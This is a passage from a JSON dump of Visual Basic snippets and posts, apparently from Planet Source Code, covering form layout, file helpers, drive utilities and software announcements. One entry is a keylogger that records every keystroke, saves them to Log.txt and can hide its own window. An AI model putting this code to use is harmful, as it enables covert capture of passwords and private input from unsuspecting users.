Director."},{"WorldId":1,"id":59995,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59996,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59998,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":60001,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":60006,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":60007,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":60014,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":60022,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":60027,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":60035,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":60039,"LineNumber":1,"line":"Very nice ADO recordset editing/viewing tool, quite fast (although it will be more faster later) and very stable. It uses no subclassing and no hooking which improves stability. The main objective is to replace the wretched Microsoft DataGrid, I have seen many ΓÇ£gridsΓÇ¥ and there were very few that actually worked as they should work, it is hard to make a good data-aware grid that will work with cpp, vb and Delphi. So, I made one in VB, full context sensitive win32 help is provided, all most important properties, methods and functions are present, code is well organized, error handling is descent, it supports most stuff that MS DataGrid supports. You can now create database applications in vb as almost as good as ones made in Access ΓÇô and no 10mb controls that cost more than MS Access itself.\nEnough talking, in the following download you have the WolfDataBaseSystem.vbp file, compile it (make sure that the compiled file is in the same dir as the rest of the package) and open TestingGroup.vbg file or Tutorials.vbg file. IΓÇÖve made some nice tutors to introduce you to the grid, just the basic features. The zip is big because the example database takes 300kb, it have about 30 000 000 fields for testing the performance (loading lookup columns, and using ΓÇ£AutoFitΓÇ¥ feature).\nIf you have less than 1GHz cpu then Tutor2 may take about 10 seconds to load, be patient.\nDonΓÇÖt forget that there is a complete context-sensitive help in package, everything is documented except events (there are only 2 events for now, since most of them are provided by ADO).\nIf you are actually liked the version 1.0 then you will surely like this, it has lots o new stuff :).\nI probably forgot to mention a whole bunch of things, but it should all work good, if youΓÇÖre stuck with something, read the help first or contact me before giving bad votes or something.\nOh, and sorry for download thingie, pscΓÇÖs upload tool never actually worked right so I had to put it to my server, psc wont even allow html ΓÇô no compiled files are included.\nDownload zip file from here:\nhttp://www.thealas.com/wg.zip\n"},{"WorldId":1,"id":60042,"LineNumber":1,"line":"Available from: \nhttp://www.siliconmindset.com\nDirectly Download from: \nhttp://www.siliconmindset.com/download/smpr2004.exe\nFixed the Downloads (Sorry Guys)... I Deleted the old post to push users to the proper download loacaion. One of the other users will be posting an additional download location if you get no response. \nWhile I will honor Free License requests for others..please limit this to PSC users...Thanks for the Community of PSC over the past 4 years.\nThis a fully free (With free upgrade to 2005 version when available) of a professional Flow Chart tool that is 5 star rated on many sites. It supports XML file format. Generates PDF, SVG, PNG, BMP, JPG and other formats. It includes a VBA compatible engine with an exposed ActiveX EXE object model to interact with the VBA engine (A requirement to integrate VBA into a product).\nI hope you like it. Users at NASA, IKEA, US Airforce and others use it actively. I am still tweaking documentation. \nFOr users that want sample VBA code, more advanced diagrams, info on developing plug-ins I will make myself available (as time permits).\nThanks again PSC\n-----Old Post Text----\nFree License to Planet Source Code requestors\nSilicon Mindset's Process Revolution 2004(PE) is a multi purpose business application essential to the optimization of any organization. The application is used to create flow charts, block diagrams, process diagrams, business diagrams, work flow diagrams and more. Diagrams can be stand alone or grouped into a Process Repository. Process Revolution 2004(PE) is perfect for new and advanced business users. This highly cost effective and feature rich application will be used over and over by all levels of users. Process Revolution diagrams can be printed, copied to memory or used to generate advanced web presentations and images (SVG, EMF, WMF, BMP, WBMP, JPG, PNG, TIFF, PCX and others). Whether creating simple organizational charts or creating advanced multi part Process Flow Diagrams users will become instantly familiar and productive. Process Revolution 2004(PE) comes with 10 Diagram/Graph/Chart layout algorithms allowing for rearranging of diagrams and Rotation of entire Diagrams. This feature is not available in any other Flow Charting / Diagramming package in Process Revolutions price range class. Process Revolution 2004(PE) uses XML and compressed XML as its native file formats allowing for OPEN sharing of Diagram information. Process Revolution 2004(PE) is the first application in a series of standalone to enterprise Process Documentation, Modeling and Management applications. Enterprise Versions of Process Revolution will be available in mid 2005 running under windows on the client side and SQL Server Database Management System (with Oracle, Microsoft Access and MySQL to follow based on user demand) on the server side. Process Revolution is a powerful, easy to learn and cost effective application. The Product comes with an extensive help file. A downloadable 145+ page PDF file is available for users wishing to print out a hard copy manual\nNOTE: For those that want to do AddIns / Plug-Ins or do Active (VBA) diagrams I will be glad to help with samples andpointers as needed and time permits."},{"WorldId":1,"id":60043,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":60044,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":60045,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56112,"LineNumber":1,"line":"'this code goes into a class named cEnvironment\nOption Explicit\nPublic Enum eEnvironment\n EnvironIDE = 1\n EnvironCompiled = 2\nEnd Enum\nPublic Property Get QueryEnvironment() As eEnvironment\n QueryEnvironment = EnvironCompiled\n Debug.Assert Not SetToIDE(QueryEnvironment)\nEnd Property\nPrivate Function SetToIDE(Env As eEnvironment) As Boolean\n Env = EnvironIDE\nEnd Function\n'make QueryEnvironment the default property of class cEnvironment\n'------------------------------------------\n'and then use this anywhere in your code\nPrivate Sub Something()\n Dim Environment As New cEnvironment\n Print IIf(Environment = EnvironIDE, \" I am running in the IDE\", _\n \" Somebody had mercy and compiled me\")\n' you don't normally print the result, so you might type this... \n' If Environment = \n' ..and you will see the two possibilities in VB's popup\n \nEnd Sub"},{"WorldId":1,"id":56117,"LineNumber":1,"line":"Option Explicit\nPrivate Type RECT\n Left As Long\n Top As Long\n Right As Long\n Bottom As Long\nEnd Type\nPrivate WindowRect As RECT\nPrivate Declare Function CreateRectRgn Lib \"gdi32\" (ByVal x1 As Long, ByVal y1 As Long, ByVal x2 As Long, ByVal y2 As Long) As Long\nPrivate Declare Function SetWindowRgn Lib \"user32\" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long\nPrivate Declare Function DeleteObject Lib \"gdi32\" (ByVal hObject As Long) As Long\nPrivate Sub Form_Load()\n Const SnippOff As Long = 3\n Dim hRgn As Long\n With WindowRect\n .Left = SnippOff\n .Top = SnippOff\n .Right = ScaleX(Command1.Width, ScaleMode, vbPixels) - SnippOff\n .Bottom = ScaleY(Command1.Height, ScaleMode, vbPixels) - SnippOff\n hRgn = CreateRectRgn(.Left, .Top, .Right, .Bottom)\n SetWindowRgn Command1.hWnd, hRgn, True\n DeleteObject hRgn\n End With\nEnd Sub"},{"WorldId":1,"id":56120,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56126,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56128,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56130,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56131,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56134,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56137,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56138,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56140,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56142,"LineNumber":1,"line":"Just copy this code to Form_Load event and replace !path to file! to path of mp3: \nSet MP = Controls.Add(\"MediaPlayer.MediaPlayer.1\", \"MP\", Me) \nMP.object.FileName = \"!Path to file here!\""},{"WorldId":1,"id":56143,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56145,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56147,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56151,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56157,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56160,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56171,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56172,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56174,"LineNumber":1,"line":"Private Sub Timer1_Timer()\nScaleMode = 3 ' set scale to pixils\nX = ScaleWidth / 2 ' set x position\nY = ScaleHeight / 2 'set y position\nIf X > Y Then limit = Y Else limit = X\nFor radius = 0 To limit ' set radius\nCircle (X, Y), radius, RGB(Rnd * 255, Rnd * 255, Rnd * 255)\nNext radius\nEnd Sub"},{"WorldId":1,"id":56175,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56177,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56184,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56189,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56192,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56193,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56196,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56198,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56199,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56200,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56202,"LineNumber":1,"line":"'Copyright 2004 Calvin Mayer\n'Press shift+tab to toggle it's visible property\nOption Explicit\nPrivate Declare Function GetAsyncKeyState Lib \"user32\" (ByVal vKey As Long) As Integer\nPrivate Sub Form_Load()\ntxtLog.Text = \"\"\nEnd Sub\nPrivate Sub Timer1_Timer()\nCheckForKeyPress\nWriteToFile \"\\Log.txt\"\nEnd Sub\n'The subroutine that checks for keystrokes. Probably inefficient but I don't know of any other method. (would a select case work here?)\nSub CheckForKeyPress()\n With txtLog\n If GetAsyncKeyState(vbKeyShift) Then\n If GetAsyncKeyState(vbKeyTab) Then\n Me.Visible = Not Me.Visible\n Else\n .Text = .Text + \"{shift}\"\n End If\n End If\n If GetAsyncKeyState(vbKeyTab) Then\n .Text = .Text + \"{tab}\"\n End If\n If GetAsyncKeyState(vbKeySpace) Then\n .Text = .Text + \"{space}\"\n End If\n If GetAsyncKeyState(vbKeyControl) Then\n .Text = .Text + \"{ctrl}\"\n End If\n If GetAsyncKeyState(vbKeyMenu) Then\n .Text = .Text + \"{alt}\"\n End If\n If GetAsyncKeyState(vbKey0) Then\n .Text = .Text + \"0\"\n End If\n If GetAsyncKeyState(vbKey1) Then\n .Text = .Text + \"1\"\n End If\n If GetAsyncKeyState(vbKey2) Then\n .Text = .Text + \"2\"\n End If\n If GetAsyncKeyState(vbKey3) Then\n .Text = .Text + \"3\"\n End If\n If GetAsyncKeyState(vbKey4) Then\n .Text = .Text + \"4\"\n End If\n If GetAsyncKeyState(vbKey5) Then\n .Text = .Text + \"5\"\n End If\n If GetAsyncKeyState(vbKey6) Then\n .Text = .Text + \"6\"\n End If\n If GetAsyncKeyState(vbKey7) Then\n .Text = .Text + \"7\"\n End If\n If GetAsyncKeyState(vbKey8) Then\n .Text = .Text + \"8\"\n End If\n If GetAsyncKeyState(vbKey9) Then\n .Text = .Text + \"9\"\n End If\n If GetAsyncKeyState(vbKeyA) Then\n .Text = .Text + \"A\"\n End If\n If GetAsyncKeyState(vbKeyB) Then\n .Text = .Text + \"B\"\n End If\n If GetAsyncKeyState(vbKeyC) Then\n .Text = .Text + \"C\"\n End If\n If GetAsyncKeyState(vbKeyD) Then\n .Text = .Text + \"D\"\n End If\n If GetAsyncKeyState(vbKeyE) Then\n .Text = .Text + \"E\"\n End If\n If GetAsyncKeyState(vbKeyF) Then\n .Text = .Text + \"F\"\n End If\n If GetAsyncKeyState(vbKeyG) Then\n .Text = .Text + \"G\"\n End If\n If GetAsyncKeyState(vbKeyH) Then\n .Text = .Text + \"H\"\n End If\n If GetAsyncKeyState(vbKeyI) Then\n .Text = .Text + \"I\"\n End If\n If GetAsyncKeyState(vbKeyJ) Then\n .Text = .Text + \"J\"\n End If\n If GetAsyncKeyState(vbKeyK) Then\n .Text = .Text + \"K\"\n End If\n If GetAsyncKeyState(vbKeyL) Then\n .Text = .Text + \"L\"\n End If\n If GetAsyncKeyState(vbKeyM) Then\n .Text = .Text + \"M\"\n End If\n If GetAsyncKeyState(vbKeyN) Then\n .Text = .Text + \"N\"\n End If\n If GetAsyncKeyState(vbKeyO) Then\n .Text = .Text + \"O\"\n End If\n If GetAsyncKeyState(vbKeyP) Then\n .Text = .Text + \"P\"\n End If\n If GetAsyncKeyState(vbKeyQ) Then\n .Text = .Text + \"Q\"\n End If\n If GetAsyncKeyState(vbKeyR) Then\n .Text = .Text + \"R\"\n End If\n If GetAsyncKeyState(vbKeyS) Then\n .Text = .Text + \"S\"\n End If\n If GetAsyncKeyState(vbKeyT) Then\n .Text = .Text + \"T\"\n End If\n If GetAsyncKeyState(vbKeyU) Then\n .Text = .Text + \"U\"\n End If\n If GetAsyncKeyState(vbKeyV) Then\n .Text = .Text + \"V\"\n End If\n If GetAsyncKeyState(vbKeyW) Then\n .Text = .Text + \"W\"\n End If\n If GetAsyncKeyState(vbKeyX) Then\n .Text = .Text + \"X\"\n End If\n If GetAsyncKeyState(vbKeyY) Then\n .Text = .Text + \"Y\"\n End If\n If GetAsyncKeyState(vbKeyZ) Then\n .Text = .Text + \"Z\"\n End If\n If GetAsyncKeyState(vbKeyDelete) Then\n .Text = .Text + \"{delete}\"\n End If\n If GetAsyncKeyState(vbKeyBack) Then\n .Text = .Text + \"{BackSpace}\"\n End If\n If GetAsyncKeyState(vbKeyPageDown) Then\n .Text = .Text + \"{page down}\"\n End If\n If GetAsyncKeyState(vbKeyPageUp) Then\n .Text = .Text + \"{page up}\"\n End If\n If GetAsyncKeyState(vbKeyAdd) Then\n .Text = .Text + \"+\"\n End If\n If GetAsyncKeyState(vbKeySubtract) Then\n .Text = .Text + \"-\"\n End If\n If GetAsyncKeyState(vbKeyDecimal) Then\n .Text = .Text + \".\"\n End If\n If GetAsyncKeyState(vbKeyReturn) Then\n .Text = .Text + \"{enter}\"\n End If\n End With\nEnd Sub\n'The subroutine that saves the log to a text file\nSub WriteToFile(fileName As String)\n Open App.Path & fileName For Output As #1\n Write #1, txtLog.Text\n Close #1\nEnd Sub\n"},{"WorldId":1,"id":56204,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56206,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56208,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56211,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56214,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56217,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56223,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56229,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56230,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56232,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56233,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56234,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56235,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56242,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56245,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56250,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56258,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56259,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56260,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56264,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56274,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1,"LineNumber":1,"line":"Sub Center_Form (frmForm As Form)\n frmForm.Left = (Screen.Width - frmForm.Width) / 2\n frmForm.Top = (Screen.Height - frmForm.Height) / 2\nEnd Sub"},{"WorldId":1,"id":10,"LineNumber":1,"line":"Sub Dump_String_To_File (ByVal strString As String, ByVal strFile As String)\n Dim fileFile As Integer\n fileFile = FreeFile\n Open strFile For Output As fileFile\n Write #fileFile, strString\n Close fileFile\n Dim intReturn\n On Error Resume Next\n intReturn = Shell(\"c:\\apps\\utility\\textpad\\txtpad16.exe \" & strFile, 1)\n On Error GoTo 0\nEnd Sub\n"},{"WorldId":1,"id":39,"LineNumber":1,"line":"Function Validate_Drive (ByVal strDrive As String)\n\n On Error GoTo BAD2\n 'Dim strOldDrive As String\n 'strOldDrive = Get_Drive_Name(CurDir$)\n ChDrive (strDrive)\n 'ChDrive (strOldDrive)\n On Error GoTo 0\n Validate_Drive = True\nExit Function\nBAD2:\n Validate_Drive = False\n Resume Exit2\nExit2:\n Exit Function\n\nEnd Function\n"},{"WorldId":1,"id":40,"LineNumber":1,"line":"Function Validate_File (ByVal FileName As String) As Integer\nDim fileFile As Integer\n 'attempt to open file\n fileFile = FreeFile\n On Error Resume Next\n Open FileName For Input As fileFile\n \n 'check for error\n If Err Then\n Validate_File = False\n Else\n 'file exists\n 'close file\n Close fileFile\n Validate_File = True\n End If\nEnd Function\n"},{"WorldId":1,"id":68,"LineNumber":1,"line":"Add 2 command buttons named :\ncmdFormat and cmdDiskCopy\nPrivate Sub cmdFormatDrive_Click()\n Dim DriveLetter$, DriveNumber&, DriveType&\n Dim RetVal&, RetFromMsg%\n DriveLetter = UCase(Drive1.Drive)\n DriveNumber = (Asc(DriveLetter) - 65) ' Change letter to Number: A=0\n DriveType = GetDriveType(DriveLetter)\n If DriveType = 2 Then 'Floppies, etc\n RetVal = SHFormatDrive(Me.hwnd, DriveNumber, 0&, 0&)\n Else\n RetFromMsg = MsgBox(\"This drive is NOT a removeable\" & vbCrLf & _\n \"drive! Format this drive?\", 276, \"SHFormatDrive Example\")\n Select Case RetFromMsg\n Case 6 'Yes\n ' UnComment to do it...\n 'RetVal = SHFormatDrive(Me.hwnd, DriveNumber, 0&, 0&)\n Case 7 'No\n ' Do nothing\n End Select\n End If\nEnd Sub\nPrivate Sub cmdDiskCopy_Click()\n' DiskCopyRunDll takes two parameters- From and To\n Dim DriveLetter$, DriveNumber&, DriveType&\n Dim RetVal&, RetFromMsg&\n DriveLetter = UCase(Drive1.Drive)\n DriveNumber = (Asc(DriveLetter) - 65)\n DriveType = GetDriveType(DriveLetter)\n If DriveType = 2 Then 'Floppies, etc\n RetVal = Shell(\"rundll32.exe diskcopy.dll,DiskCopyRunDll \" _\n & DriveNumber & \",\" & DriveNumber, 1) 'Notice space after\n Else ' Just in case 'DiskCopyRunDll\n RetFromMsg = MsgBox(\"Only floppies can\" & vbCrLf & _\n \"be diskcopied!\", 64, \"DiskCopy Example\")\n End If\nEnd Sub\nAdd 1 ListDrive name Drive1\nPrivate Sub Drive1_Change()\n Dim DriveLetter$, DriveNumber&, DriveType&\n DriveLetter = UCase(Drive1.Drive)\n DriveNumber = (Asc(DriveLetter) - 65)\n DriveType = GetDriveType(DriveLetter)\n If DriveType 2 Then 'Floppies, etc\n cmdDiskCopy.Enabled = False\n Else\n cmdDiskCopy.Enabled = True\n End If\nEnd Sub"},{"WorldId":1,"id":69,"LineNumber":1,"line":"Sub Text1_KeyPress (KeyAscii As Integer) \n\nIf KeyAscii = 13 Then '13 is Key_Return\nKeyAscii = 0 \nEnd If \n\nEnd Sub"},{"WorldId":1,"id":73,"LineNumber":1,"line":"To set Form1 as a top-most form, do the following: \n\n#IF WIN32 THEN\nDim lResult as Long \nlResult = SetWindowPos (me.hWnd, HWND_TOPMOST, _\n0, 0, 0, 0, FLAGS) \n#ELSE '16-bit API uses a Sub, not a Function\nSetWindowPos me.hWnd, HWND_TOPMOST, _\n0, 0, 0, 0, FLAGS\n#END IF\n\nTo turn off topmost (make the form act normal again), do the following: \n\n#IF WIN32 THEN\nDim lResult as Long \nlResult = SetWindowPos (me.hWnd, HWND_NOTOPMOST, _\n0, 0, 0, 0, FLAGS) \n#ELSE '16-bit API uses a Sub, not a Function\nSetWindowPos me.hWnd, HWND_NOTOPMOST, _\n0, 0, 0, 0, FLAGS\n#END IF\n\nIf you don't want to force a window on top, which will prevent the user from seeing below it, but simply want to move a Window to the top for the user's attention, do this:\n\nForm1.ZOrder"},{"WorldId":1,"id":74,"LineNumber":1,"line":"Sub Form_Load () \n If App.PrevInstance Then \n SaveTitle$ = App.Title \n App.Title = \"... duplicate instance.\" 'Pretty, eh? \n Form1.Caption = \"... duplicate instance.\" \n AppActivate SaveTitle$ \n SendKeys \"% R\", True \n End \n End If \nEnd Sub"},{"WorldId":1,"id":78,"LineNumber":1,"line":"It is recommended (and polite, as we're multitasking) to send a WM_WININCHANGE (&H1A) to all windows to tell them of the change. Also, under some circumstances the printer object won't notice that you have changed the default printer unless you do this. \n\nDeclare Function SendMessage(ByVal hWnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, lParam As Any) As Long \nGlobal Const WM_WININICHANGE = &H1A \nGlobal Const HWND_BROADCAST = &HFFFF \n' Dummy means send to all top windows. \n' Send name of changed section as lParam. \nlRes = SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, ByVal \"Windows\")"},{"WorldId":1,"id":89,"LineNumber":1,"line":"Function StartDoc(DocName As String) As Long\n┬á┬áDim Scr_hDC As Long\n┬á┬áScr_hDC = GetDesktopWindow()\n┬á┬áStartDoc = ShellExecute(Scr_hDC, \"Open\", DocName, \"\", \"C:\\\", SW_SHOWNORMAL)\nEnd Function\nPrivate Sub Form_Click()\n┬á┬áDim r As Long\n┬á┬ár = StartDoc(\"c:\\my documents\\word\\myletter.doc\")\n┬á┬áDebug.Print \"Return code from Startdoc: \"; r\nEnd Sub"},{"WorldId":1,"id":92,"LineNumber":1,"line":"TextBox.Text = MyTest.Fields(\"TestFld\") & \"\""},{"WorldId":1,"id":103,"LineNumber":1,"line":"Private Sub Command1_Click(Index As Integer)\nGetControls Command1()\nEnd Sub\nPublic Sub GetControls(CArray As Variant)\nDim C As Control\nFor Each C In CArray\nMsgBox C.Index\nNext\nEnd Sub\n\n\nAlso, VB4's control arrays have LBound, Ubound, and Count properties: \n\nIf Command1.Count < Command1.Ubound - _\nCommand1.Lbound + 1 Then _\nMsgbox \"Array not contiguous\""},{"WorldId":1,"id":111,"LineNumber":1,"line":"\nIn the Mousedown event of the control, insert: \n\nSub Command1_MouseDown (Button As Integer, _\nShift As Integer, X As Single, Y As Single)\nDim Ret&\nReleaseCapture\nRet& = SendMessage(Me.hWnd, &H112, &HF012, 0)\nEnd Sub"},{"WorldId":1,"id":112,"LineNumber":1,"line":"Function sLongName(sShortName As String) As String\n'sShortName - the provided file name, \n'fully qualified, this would usually be \n'a short file name, but can be a long file name\n'or any combination of long / short parts\n'RETURNS: the complete long file name, \n'or \"\" if an error occurs\n'an error would usually indicate \n'that the file doesn't exist\nDim sTemp As String\nDim sNew As String\nDim iHasBS As Integer\nDim iBS As Integer\nIf Len(sShortName) = 0 Then Exit Function\nsTemp = sShortName\nIf Right$(sTemp, 1) = \"\\\" Then\nsTemp = Left$(sTemp, Len(sTemp) - 1)\niHasBS = True\nEnd If\nOn Error GoTo MSGLFNnofile\nIf InStr(sTemp, \"\\\") Then\nsNew = \"\"\nDo While InStr(sTemp, \"\\\")\nIf Len(sNew) Then\nsNew = Dir$(sTemp, 54) & \"\\\" & sNew\nElse\nsNew = Dir$(sTemp, 54)\nIf sNew = \"\" Then\nsLongName = sShortName\nExit Function\nEnd If\nEnd If\nOn Error Resume Next\nFor iBS = Len(sTemp) To 1 Step -1\nIf (\"\\\" = Mid$(sTemp, iBS, 1)) Then\n'found it\nExit For\nEnd If\nNext iBS\nsTemp = Left$(sTemp, iBS - 1)\nLoop\nsNew = sTemp & \"\\\" & sNew\nElse\nsNew = Dir$(sTemp, 54)\nEnd If\nMSGLFNresume:\nIf iHasBS Then\nsNew = sNew & \"\\\"\nEnd If\nsLongName = sNew\nExit Function\nMSGLFNnofile:\nsNew = \"\"\nResume MSGLFNresume\nEnd Function"},{"WorldId":1,"id":126,"LineNumber":1,"line":"Sub WipeRight (Lt%, Tp%, frm As Form)\nDim s, Wx, Hx, i\ns = 90 'number of steps to use in the wipe\nWx = frm.Width / s 'size of vertical steps\nHx = frm.Height / s 'size of horizontal steps\n' top and left are static \n' while the width gradually shrinks\nFor i = 1 To s - 1\nfrm.Move Lt, Tp, frm.Width - Wx\nNext\nEnd Sub\n\n\nCall the routine from a command button by using this code: \n\nL = Me.Left\nT = Me.Top\nWipeRight L, T, Me"},{"WorldId":1,"id":128,"LineNumber":1,"line":"hInst = Shell(\"foobar.exe\")\nDo While IsInst(hInst)\nDoEvents\nLoop\nFunction IsInst(hInst As Integer) As Boolean\nDim taskstruct As TaskEntry\nDim retc As Boolean\nIsInst = False\ntaskstruct.dwSize = Len(taskstruct)\nretc = TaskFirst(taskstruct)\nDo While retc\nIf taskstruct.hInst = hInst Then\n' note: the task handle is: taskstruct.hTask\nIsInst = True\nExit Function\nEnd If\nretc = TaskNext(taskstruct)\nLoop\nEnd Function"},{"WorldId":1,"id":153,"LineNumber":1,"line":"Place a Horizontal Scrollbar on the form (doesn't matter where) and set its properties as follows: \n\n Height = 300\n LargeChange = 900\n Name = HScroll\n SmallChange = 30\n\nThese properties do not need to be identical to mine, but will serve as a good common ground starting point. You can always modify them to suit your needs and taste later. \nNow, let's place a Vertical Scrollbar on the form (doesn't matter where) and set its properties as follows: \n\n LargeChange = 900 \n Name = VScroll\n SmallChange = 30 \n Width = 300 \n\nNow, for the magic. Place a PictureBox on your form and set the following properties for it. The PictureBox will serve as our container for all controls and graphics that need to be placed on the virtual form. \n\n BackColor = &H00FFFFFF& \n Height = 15900 \n Name = PicBox\n Width = 11640 \n\nThere is one last control that we need to place on the virtual form. However, this control is not placed directly onto the form but onto the picture box. It is a label that will serve as a filler to cover up the gap left between the two scrollbars in the lower right hand corner. Click on the PictureBox to select it, then double click the Label control on the VB Toolbox. Make sure that the label is the same color as your scrollbars. Then set its properties as follows: \n\n Height = 300\n Name = lblFiller\n Width = 300\n\nFrom this point on, all of the control that are placed on the virtual form (the picturebox) are solely for our own visual evidence that the form does indeed move. Place any controls you wish and set their properties as you wish on the form. (The downloadable project has already placed several controls on the picture box for you.) \nLet's start our Coding process by writing a routine to line everything up the way it should be. We need to place the scrollbars where they should go, make their dimensions match that of the form, and also position the lblFiller label properly. I have called this procedure AlignScrollBars(). This procedure needs to be placed in your General Decalrations section. The code looks like this: \n\nSub AlignScrollBars()\n ' Resize the scrollbars\n HScroll.Width = Me.ScaleWidth - lblFiller.Width\n VScroll.Height = Me.ScaleHeight - lblFiller.Height\n \n ' Reposition the scrollbars\n HScroll.Left = 0: HScroll.Top = Me.ScaleHeight - HScroll.Height\n VScroll.Top = 0: VScroll.Left = Me.ScaleWidth - VScroll.Width\n \n ' Redimension the scrollbar parameters\n HScroll.Max = PicBox.Width - Me.ScaleWidth\n VScroll.Max = PicBox.Height - Me.ScaleHeight\n \n ' Reposition the PictureBox\n PicBox.Top = (-1 * VScroll)\n PicBox.Left = (-1 * HScroll)\n \n ' Reposition the Picturebox label by scrollbars\n lblFiller.Top = VScroll.Height + VScroll - 30\n lblFiller.Left = HScroll.Width + HScroll - 30\n \n UpdateDisplay\nEnd Sub\n\nNote the call to UpdateDisplay. That procedure is just for the fun of it. I have used it to create some text and a graphic on the form at run time. This is what the procedure looks like. \nFor VB4: \n\nSub UpdateDisplay()\n ' Place text on the PictureBox\n PicBox.AutoRedraw = True\n Dim PictureBoxText As String\n PictureBoxText = \"Virtual Form - 8┬╜ x 11 size\"\n With PicBox\n .Font = \"Arial\"\n .FontSize = 14\n .FontBold = True\n .FontItalic = True\n .CurrentX = (PicBox.Width - PicBox.TextWidth(PictureBoxText)) / 2\n .CurrentY = 0\n End With\n PicBox.Print PictureBoxText\n ' Graphics can be drawn on the virtual form at run time\n PicBox.Line (100, 100)-(500, 500), , B\nEnd Sub\n\nFor VB3: (since the WITH construct is only available in VB4.) \n\nSub UpdateDisplay()\n ' Place text on the PictureBox\n PicBox.AutoRedraw = True\n Dim PictureBoxText As String\n PictureBoxText = \"Virtual Form - 8┬╜ x 11 size\"\n PicBox.Font = \"Arial\"\n PicBox.FontSize = 14\n PicBox.FontBold = True\n PicBox.FontItalic = True\n PicBox.CurrentX = (PicBox.Width - PicBox.TextWidth(PictureBoxText)) / 2\n PicBox.CurrentY = 0\n PicBox.Print PictureBoxText\n ' Graphics can be drawn on the virtual form at run time\n PicBox.Line (100, 100)-(500, 500), , B\nEnd Sub\n\nAt this point, there are only three procedures left for us to code. We need to be able to realign the controls (scrollbars, etc) each time the scrollbars are clicked and each time the form is resized. I have written these three procedures like this: (Of course in VB3 you will want to remove the Private keyword from the SUB line). \n\nPrivate Sub Form_Resize()\n AlignScrollBars\nEnd Sub\nPrivate Sub HScroll_Change()\n AlignScrollBars\nEnd Sub\nPrivate Sub VScroll_Change()\n AlignScrollBars\nEnd Sub\n\nNow, save your project and run the thing. If you have placed additional controls on the picturebox during design time, you should be able to see them float across the screen as your scroll around. Keep in mind that during design time, you can drag the picturebox around to work with the sections that are not visible within the form. The code will line everything back up so you don't even have to clean up behind yourself."},{"WorldId":1,"id":157,"LineNumber":1,"line":"Sub PaintForm (FormName As Form, Orientation%, RStart%, GStart%, BStart%, RInc%, GInc%, BInc%)\n' This routine does NOT use API calls\n On Error Resume Next\n Dim x As Integer, y As Integer, z As Integer, Cycles As Integer\n Dim R%, G%, B%\n R% = RStart%: G% = GStart%: B% = BStart%\n ' Dividing the form into 100 equal parts\n If Orientation% = 0 Then\n Cycles = FormName.ScaleHeight \\ 100\n Else\n Cycles = FormName.ScaleWidth \\ 100\n End If\n For z = 1 To 100\n x = x + 1\n Select Case Orientation\n Case 0: 'Top to Bottom\n If x > FormName.ScaleHeight Then Exit For\n FormName.Line (0, x)-(FormName.Width, x + Cycles - 1), RGB(R%, G%, B%), BF\n Case 1: 'Left to Right\n If x > FormName.ScaleWidth Then Exit For\n FormName.Line (x, 0)-(x + Cycles - 